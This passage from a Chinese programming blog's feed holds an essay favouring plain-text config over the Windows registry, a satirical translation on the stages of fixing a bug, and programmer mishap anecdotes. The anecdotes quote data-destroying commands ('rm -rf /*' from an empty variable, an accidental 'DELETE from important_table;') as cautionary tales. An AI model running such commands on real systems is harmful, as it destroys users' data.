#800000;\">其次，当我们在改进一个东西时，不单单要解决其不好的东西，还要把其好的东西给传承下来。</span></li>\n</ul>\n<p>所以，当你看到一些只说好或是只说坏的东西时，这往往意味着“宗教”或“洗脑”，这正是需要你独立思考的时候。</p>\n<h4>纯文本配置文件的好处</h4>\n<p>下面，是我觉得纯文本配置文件的好处（我用Unix下的纯文本配置文件来举例）：</p>\n<ul>\n<li>很容易进行版本管理（配置文件和程序代码一样都需要版本控制）</li>\n<li>很容易移植到别的平台</li>\n<li>很容易自定义文本文件的格式和语法，已也有相关的库支持（ini只支持ANSI字符，只有32K，只支持两级，那是ini的问题，解决这些问题不需要引入注册表）</li>\n<li>可以在配置文本中写注释信息</li>\n<li>你要很容易的使用grep，awk，sed等等以及来和脚本集成。</li>\n<li>你可以很容易地拆分配置文件把其放到conf.d中，这样一来，你就非常灵活\n<ul>\n<li>你就不用整个文件都读入内存，</li>\n<li>你也可以分别设置上不同的存取权限，</li>\n<li>同样可以减小多个进程同时存取的问题</li>\n<li>同样可以引用别的二进制配置的文件</li>\n</ul>\n</li>\n<li>你可以很容易地产生备份或是在不同的配置中来回地切换配置文件以进行调试。</li>\n<li>你可以很容易地使用rsync来向中央服务器同步你的配置文件。或者使用NFS/NIS直接就把配置放在中央服务器上。</li>\n</ul>\n<h4>真正的原因</h4>\n<p>可见，Windows 的注册表并没有把纯文本配置文件的这些好处都带过来，所以，经过这样的独立思考，我们可以知道，微软引入注册表的真正原因是——</p>\n<ul>\n<li>让你的程序不具移植性，让你的软件永远运行在Windows上。</li>\n<li>增加你编程的复杂度和你维护配置文件的复杂度，让你在痛苦之后，苦苦哀求微软再发布下一个“创新”。</li>\n</ul>\n<p>各位程序员——Windows是很危险的，你们还是回火星去吧。</p>\n<p>（<strong>全文完，转载时请注明作者和出处</strong>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/1272.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/08/linux_airline-150x150.jpg\" alt=\"操作系统航空公司\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1272.html\" class=\"wp_rp_title\">操作系统航空公司</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4077.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>62</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Fix Bug的五个阶段</title>\n\t\t<link>https://coolshell.cn/articles/4045.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4045.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 24 Mar 2011 00:34:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4045</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面的文章和《各种流行的编程方式》有异曲同工，请你不要理解错了。本文来源，翻译如下： —————————————————— 一个非常严重和困难的bug，能够成就...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4045.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4045.html\">Fix Bug的五个阶段</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面的文章和《<a title=\"各种流行的编程风格\" href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">各种流行的编程方式</a>》有异曲同工，请你不要理解错了。<strong><a title=\"THE FIVE STAGES OF DEBUGGING\" href=\"http://crankypm.com/2011/03/guest-post-stages-debugging/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:+TheCrankyProductManager+(The+Cranky+Product+Manager)\" target=\"_blank\">本文来源</a></strong>，翻译如下：</p>\n<p>——————————————————</p>\n<p>一个非常严重和困难的bug，能够成就一个饱经沧桑深受压力的有经验的专业程序员的职业生涯。经受这种考验的创伤程度，相当你受到了一次严重的身体伤害，离婚，或是家庭成为的离世。</p>\n<p>研究人员在研究了计算机编程心理学后，得出了一个程序员们在解决一个困难的bug时的心路里程。这些不同的境界，很像为大众所知的<a href=\"http://en.wikipedia.org/wiki/K%C3%BCbler-Ross_model\" target=\"_blank\">Kübler-Ross Stages of Grief</a>（这个模型描述了人对待哀伤与灾难过程中的5个独立阶段（否认，愤怒，耍赖，抑郁，接受）。绝症患者被认为会经历这些阶段），而且原因都很相似。就好像死亡所伴随的悲伤一样，fix一个bug是一个过程其初始化了一个事件，一开始是拒绝相信，其造就了你苦闷的情绪并开始逐步影响你的心智。这种苦闷的情结果会让你纠结要努力忍受，最终会你会找到一个满意的结果。</p>\n<p>了解下面这几个bug-fixing的阶段，会让我们更好的生存下来，并持之以恒，最终带来……关闭我们所有的bug的结果。</p>\n<h2>第一阶段：抵触</h2>\n<p>本阶段的状态: 多疑 Skeptical. 生气 Offended. 易怒 Petulant.</p>\n<p><strong>1. 不理睬</strong></p>\n<p>也许这个bug会安静地离开。</p>\n<p><strong>2. 标记上“不是bug”</strong></p>\n<p>也许这是用户的错，或是本地配置有问题。是的，我确信就是那样，一会就会好的。</p>\n<p><span id=\"more-4045\"></span></p>\n<p><strong>3. 就是一次小故障</strong></p>\n<p>我想这就是一次小故障，很奇怪地发生了一次，它不会再发生的，虽然没有搞清楚是为什么发生了，不过这就好像我们的数据库，网格，浏览器或别的什么打了几个嗝一样。一会就会好的，我确信。</p>\n<p><strong>4. 躲藏.</strong></p>\n<p>我要休几天病假，也许他们会把这个bug转给别人的。</p>\n<p><strong>5. 标记为“修改需求中”</strong></p>\n<p>你看，我是按照需求实现的。如果你们想要改这个行为和UI，就一定要修改需求。也许他们会决定就这样了。</p>\n<p><strong>6. 需要更多的信息</strong></p>\n<p>我不能确定这是一个bug，除非我能在错误日志中看到一条特定的报错信息。</p>\n<p><strong>7. 转给其他人</strong></p>\n<p>我调查这个bug中看到了其它模块中我看不懂的数据，问题很大。我应该把这个bug转给开发那个模块的人。我可以在我的模块中检查一下那个边边角角的情况，但是正确的fix应该是在别人的模块中。反正那个在别的国家，我见不着他。</p>\n<h2>第二阶段：接受</h2>\n<p>本阶段的状态: 认命 Resigned. 被打击 Defeated. 被激怒 Annoyed.</p>\n<p><strong>1. 接受现实</strong></p>\n<p>行了，行了，行了！这是我的bug，我会修正它的。</p>\n<p><strong>2. 把这个bug放到最后</strong></p>\n<p>也许，我可以在我需要fix这个bug之前找到一个新的工作。</p>\n<p><strong>3. 和你的经理讨价还价</strong></p>\n<p>好的，你看，我可以正确地fix这个问题，不过我需要一个月。也就是说，我可以给这个问题贴个创可贴，那不会真正的解决它，但是我们可以避免用户的抱怨，这可以为我们赢得几天的时间。</p>\n<p><strong>4. 为这个bug标记一个无耻的时间</strong></p>\n<p>上帝啊，我希望这时间够了。</p>\n<h2>第三阶段： 投入和沮丧</h2>\n<p>本阶段的状态: 眼花 Giddy. 头晕 Light-headed. 紧张 Nauseous.</p>\n<p><strong>1. 开始调查</strong></p>\n<p>我能搞定它，我能搞定它！只需要小小的调整一下，小小的关注一下，多一点咖啡因，再加上一点时间，我能搞定它。</p>\n<p><strong>2. 迷惘</strong></p>\n<p>Shit. 这太扯了。我居然没有一点进展。这代码真是乱。这样的代码居然能编译和运行，真TMD的神奇，我有机会能搞清楚它什么不正常吗？</p>\n<p><strong>3. 再次躲藏</strong></p>\n<p>你看，很对不起。我不得不要去切除我的阑尾。再一次，是的，既然你提到了它，我的确有两个阑尾。现在我一个也没有了，你高兴了吧？。</p>\n<p><strong>4. 犯贱</strong></p>\n<p>好吧，总之，你到底期望什么？想让我在一个没有高级调试器的环境下改这个BUG。我是什么？千里眼吗？我在我的<a href=\"http://en.wikipedia.org/wiki/Commodore_64\" target=\"_blank\">Commodore 64</a>上一个更好的调试器！</p>\n<p><strong>5. 瞎搞</strong></p>\n<p>看看我试试这么改？Kao，这样不行。要不然这样搞？也不行。那么那样搞呢？Shit，居然变得更糟了。</p>\n<p><strong>6. 绝望</strong></p>\n<p>我不可能fix这个bug了。我是个糟糕的程序员。我太笨了。我在这个满是聪明人的地方干什么？迟早他们会知道我的能力太差，那时我就玩完了，在这也混不下去了。</p>\n<p><strong>7.耻辱</strong></p>\n<p>我的经理问我为什么我用了一个月的时候来fix这个只需要两天就可以解决的bug？老实说，我不知道怎么去读日志信息，我搞坏了我们的编译脚本。现在，我不敢去让别人来帮我，因为这样只会让我显得更愚蠢。</p>\n<p><strong>8. 恐慌！</strong></p>\n<p>这事变得比我相像的要复杂！而我开始觉得复杂的事变得简单……而我觉得简单的事变成需要重定半打的类。为什么我以前在我的经理前拍着胸说我可以搞定这个事？</p>\n<p><strong>9. 通宵工作，远离朋友和家人</strong></p>\n<p>(语无论次的喃喃自语，一阵一阵地大声咒骂)</p>\n<h2>第四个阶段：愚蠢的快感</h2>\n<p>本阶段的状态: 感恩 Grateful. 安心 Relieved. 极端地自我欣赏 Awfully Impressed with Yourself.</p>\n<p><strong>1. 醒悟 </strong></p>\n<p>哦！我终于明白怎么搞定它了……</p>\n<p><strong>2. 写正确的代码</strong></p>\n<p>我真NB，我是编码机器！</p>\n<p><strong>3. 测试</strong></p>\n<p>牛！通过一个测试。真牛！又通过一个测试了。靠！有测试失败了。这是为什么……</p>\n<p><strong>4. 隐藏测试失败</strong></p>\n<p>反正这完全是一个不重要的测试案例。没有人会检查它，这个测试真是毫无意义。</p>\n<p><strong>5. 提交代码</strong></p>\n<p>我太牛了，厨房里有个馅饼可以庆祝一下吗？</p>\n<p><strong>6. 关闭 bug.</strong></p>\n<p>我听说那里有个馅饼可以庆祝一下</p>\n<h2>第五个阶段： 与“完成”肉搏</h2>\n<p>本阶段的状态: 焦燥不安 Twitchy. 神经过敏 Nervous. 迷信 Superstitious.</p>\n<p><strong>1. 有人reopen了这个 Bug</strong></p>\n<p>真的？他们发现了你引入了另一个bug？ Shit &#8211; 那只是一个不重要的案例永远不会发生的。</p>\n<p><strong>2. 修正以前的修正</strong></p>\n<p>是的，我甚至检查了员工的年龄是一个虚数的情况，就是为了防止出错。</p>\n<p><strong>3. 关闭 bug</strong></p>\n<p>是的，贱货，你被关闭了。全部都关了，再也不用心烦了。</p>\n<p><strong>4. 发誓以后再也不干这种事了</strong></p>\n<p><strong>5. 大家都意识到你现在是那个模块的专家了</strong></p>\n<p>哦，不！现在他们又给了我三个那个模块的新bug</p>\n<p>没关系，现在你只需要GOTO 第一个阶段。</p>\n<p>此外，作为一个工作中的程序员，你会永远经历这些烂事，直到你——死亡，退休，或是被升到管理层。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4045.html\">Fix Bug的五个阶段</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4045.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>35</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员那些悲催的事儿</title>\n\t\t<link>https://coolshell.cn/articles/3980.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3980.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 22 Mar 2011 00:55:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3980</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在StakeOverflow上有这样一个贴子叫“Confessions of your worst WTF moment”（WTF就是What the fuck...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3980.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3980.html\">程序员那些悲催的事儿</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在StakeOverflow上有这样一个贴子叫“<a title=\"Confessions of your worst WTF moment\" href=\"http://stackoverflow.com/questions/63668/confessions-of-your-worst-wtf-moment\" target=\"_blank\">Confessions of your worst WTF moment</a>”（WTF就是What the fuck的缩写），挺有意思的，我摘几个小故事过来，希望大家在笑过之后能从中学到什么——<strong>所有的经验都是从错误中来的</strong>（我在其中加了一些点评）</p>\n<blockquote><p>我们公司的软件是给警察局用的，那是一个对用来处理被逮捕的人的系统，此系统还需要收集脸部特征和指纹信息，并且，这个系统和会向FBI的系统提交这些信息。当我们在测试这个系统的时候，我们一般都是用我们自己的指纹，当然，数据库联着的是我们的测试数据库。不过，有一次，在我们测试完后，我们忘了把系统切换回生产库，于是我们的测试数据库就联上了生产环境，于是我们的指纹信息和照片就散布到了其它系统中……清除我们警察局这边的还好办，但是，你需要波士顿警察局警司去法院签字才能从FBI的数据库中清除我们的信息。</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>点评</strong>：测试环境和生产环境的数据不要混在一起。</p>\n<blockquote><p>有一次，我需要向新系统中导入一堆数据，因为数据量太大，需要5个小时，只能在夜里来干，在系统需要正式使用前2个小时，数据导完了，此时是凌晨4点。随后，我需要删除一些数据，于是我在SQL命令地上输入了“DELETE from important_table; where id=4”。是的，我没有看到哪里还有个分号，天啊。</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>点评</strong>：这就是加班工作的恶果。另，在delete之前最好先做一次select。</p>\n<blockquote><p>我把我的管理员口令提交到了一个开源软件的源码里。</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>点评：</strong>1）版本管理器里的东西是删不掉的。2）一些用户和口令要hard code在代码里，所以，不要混用代码使用的权限和管理员的权限，小心管理程序的运行权限，为其注册专门的用户。</p>\n<p><span id=\"more-3980\"></span></p>\n<blockquote><p>我为一个很大的银行开发软件，在我的代码里，我为一段理论上根本不可能执行到的代码加了一个报错信息。有一天，不可思异的事发生了，这条报错信息显示在了该银行的1800个分行的超过10000个终端上——“如果你看到这个信息，说明整个系统被Fuck了，回家吧，祝你过得愉快！”</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>点评：“</strong>假设是恶魔”，Assume意为Ass &#8211; u &#8211; me，意为——搞砸你和我。对于一些关键东西，永远不要做假设。小心你言语中的——“可能、应该、觉得、不应该”等词语，程序可不认这些东西。</p>\n<blockquote><p>我远程登录到服务器上加几个防火墙规则。第一件我想干的事是在不允许任何人的任何连接，第二件是，为某个端口打开访问权限。不过，我在做完第一件事后就把配置保存了，结果其生效了……</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>点评</strong>：这样的事经常发生，做远程网络管理的人多少会有那么几次发生这样的错误。在你将你的网络配置生效前，你得想一想，断线了你是否还能登得上去。改配置不要太冲动，生效前检查几次。</p>\n<blockquote><p>我们的代码中有一个模块完美地工作了很多年了，只是代码太乱了。我说服了我的老板，我可以重写这个模块，于是我花了三个星期来重写这个模块。今天 ，我还记得，我的老板站在我的后面看着我，而我在在流着斗大的法汗珠去fix被我重写的“超级漂亮”的那个模块中一个接一个的bug。从那以后，我再也不重写代码了，除非有重大的利益。</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>点评：</strong>这就所谓的<a title=\"各种流行的编程风格\" href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">屠宰式编程</a>。这个案例告诉我们两个道理，1）维护代码要用最最最保守的方法来进行。2）重构代码前要像一个商人一样学会计算利益。当然，<a title=\"再谈敏捷和ThoughtWorks中国咨询师\" href=\"https://coolshell.cn/articles/3745.html\" target=\"_blank\">ThoughtWorks的咨询师</a>一定会告诉你TDD，结对，极限等等方法告诉你如果实践重构。但我想告诉你，一个程序在生产环境里运行好几个年能没有问题是一件很不容易的事，那怕其中的代码再烂，你再看不过去，你都要有一个清醒的头脑明白这几点，<strong>1）软件的运行质量是远远大于代码质量的，2）你的测试案例是远远小于生产环境的，3）软件的完美的质量，是靠长时间的运行、测试和错误堆出来的，而不是某种方法论</strong>。</p>\n<p>————————————————</p>\n<p>相信大家做程序员这一生中也有很多发生在自己身上的悲催的事儿，欢迎分享。我先分享几个我亲身经历过的事。</p>\n<p>一个发生在我的领导身上。</p>\n<blockquote><p>我98年刚参加工作的时候，在某单位网络部门，一次，我们整个部门去给下属单位培训Cisco路由器，结果我们发现带去培训地点的设备少带了集线器HUB，设备连不起来。于是领导很不高兴，质问我们为什么没有带集线器？那几个对领导平时就不满的老员工说办公室里没有集线器了，都借给别的部门了。领导想了想，问我：“陈皓，我记得上次我给过你个集线器”，我说，“好像没有吧，我记不起来了，什么牌的？几口的？”，领导说：“什么牌子想不起来了，不过我记得那个集线器是<strong>一个口</strong>的”。“一个口的？！”，我心里嘀咕着，“真敢说啊”。但我不敢接话了。那几个老员工来劲了——“哪有一个口的HUB啊，一个口的怎么联两台电脑啊？”，领导说：“用两个一个口的不就行了”。领导这话一出，全场一片寂静，无言以对……</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>后来：</strong>我们所有的组员都离开了我们的这个领导，我们的这个领导今天还在那里工作。我想告诉大家，<strong>很多时候该走的是领导</strong>（包括外企，我上一东家正在裁人，不过我觉得该被裁掉的应该是那些经理）。我们的领导经常出这样或那样的笑话，这让我随时随地地警醒自己——“<strong>不要当一个被人笑话的经理</strong>”，于是，今天我还在努力地学习技术。</p>\n<p>另一个发生在我身上</p>\n<blockquote><p>刚刚接触Linux的时候，还不是很懂，那时的PC还只有奔3，编译公司的程序好慢啊，有时候为了调查一个问题，需要不断地打log，来来回回地编译，很不爽。直到有一天，硬盘不够了，df一下，发现/dev/shm还有空间。于是，把全部程序copy了过去，发现编译起程序超快无比，爽得不行。于是就把工作环境放在/dev/shm下了，连开发都放在这里了。这一天，开发一个功能，改了十来个文件，加班很晚，觉得基本搞定，大喜，回家睡觉。第二天一来，发现/dev/shm下空了，一个文件都没有了，问同事，同事不知，同事还安慰我说，上次他的文件也不知道被 谁删了，于是我大怒，告老板！老板也怒，发邮件到整个公司质问大家谁删了陈皓的程序，无人应答。IT部门答，“昨晚唯一的操作就是重启了linux服务器，什么也没干，不过我们天天备份服务器，可以恢复”，IT部门问我丢的文件在哪个目录下？于是，我reply to all &#8211; “在/dev/shm下……”，哎，人丢大发了……</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>后来：</strong>我很感谢我以前犯的这个错，从那天以后，我开始立志学好Linux，这个错误让我努力，让我发奋。所以，我想告诉大家——<strong>尤其是刚出道的程序员，你们要多多犯错，要犯错那种丢死人的错，这样你才会知耻而勇</strong>。</p>\n<p>再来一个发生在我同事身上的</p>\n<blockquote><p>01年，我们开发银行系统，在AIX上开发，RICS6000很贵，只能在客户那里开发，开发进度很紧张，慢慢地硬盘就不够用了，系统中有大量的垃圾文件，于是需要清除一些文件，于是有一个同事写了一个脚本，可以自动清除的各种不重要的文件，里面有一条命令大致是这个样子“ rm -rf ${app_log_dir}/*”，意为清除程序运行的日志。为了使用这个脚本，需要在root用户下运行，一开始还不错。直到有一天，某人一运行，整个根就没了。搞得整个团队只能用一周前的备份重写已写好的代码。后来，才发现原因是${app_log_dir}变量为空，于是成了“rm -rf /*”……</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>后来：</strong>这个事后，我的那个同事，把rm命令改了名，并自己写了一个rm命令，把删除的文件先放到一个临时目录下。而我也因为这个事情，到今天，每次当我在root目录下使用rm时，敲击回车的手都是抖的。（另，rm时永远使用绝对路径）这里，我想告诉大家——<strong>犯错不可怕，可怕的是不会从中总结教训，同一个错犯两次</strong>。</p>\n<p>欢迎分享发生在你身上那些悲催的事。</p>\n<p><strong>（本文请勿用于商业用途，转载时请注明作者和出处）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a 